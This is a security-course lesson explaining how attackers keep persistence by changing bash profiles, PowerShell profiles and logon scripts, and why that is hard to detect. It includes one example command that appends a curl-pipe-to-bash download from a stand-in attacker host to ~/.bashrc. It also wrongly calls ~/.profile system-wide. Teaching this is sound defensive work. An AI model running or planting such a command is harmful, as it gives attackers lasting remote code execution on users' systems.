Course contentsShow
← Security
Lesson 1542 of 3,05231. Operating System Security - MalwareFree lesson

Login Scripts and Profile Modifications

Modifying bash profiles, PowerShell profiles, and logon scripts to execute code at user authentication.

Login Scripts and Profile Modifications

What You'll Learn

You'll discover how attackers modify user login scripts and shell profiles to automatically execute malicious code every time a user authenticates.


The Core Concept

When users log into a system, the operating system automatically runs certain scripts and configuration files to set up their environment. Attackers exploit this predictable behavior by inserting malicious commands into these initialization files, ensuring their code runs every single time the user logs in—without requiring further interaction.

Think of it like hiding instructions in someone's morning routine checklist: every time they wake up and follow their routine, they unknowingly execute your hidden step.

Common Targets

Linux/Unix Systems:

  • ~/.bashrc – runs when starting interactive bash shells
  • ~/.bash_profile – runs when logging in via bash
  • ~/.profile – system-wide profile for login shells
  • /etc/profile – system-wide login script (requires root)

Windows Systems:

  • PowerShell profiles at $PROFILE locations
  • Group Policy logon scripts
  • User-specific startup scripts in registry or scheduled tasks

How Attackers Exploit This

An attacker with initial access might append a single line to .bashrc:

echo "curl http://attacker.com/backdoor.sh | bash" >> ~/.bashrc

Now every new shell spawns their backdoor. Similarly, on Windows, they might modify a PowerShell profile to load a remote script on every PowerShell launch.

Detection Challenges

These files are legitimate and supposed to run code at login, making malicious modifications blend in. Users rarely inspect these files, and many administrators overlook them during incident response.

Key Takeaway: Login scripts and profile modifications provide stealthy, reliable persistence by embedding malicious commands in legitimate files that execute automatically during user authentication, affecting both Linux (bash profiles) and Windows (PowerShell profiles, logon scripts) systems.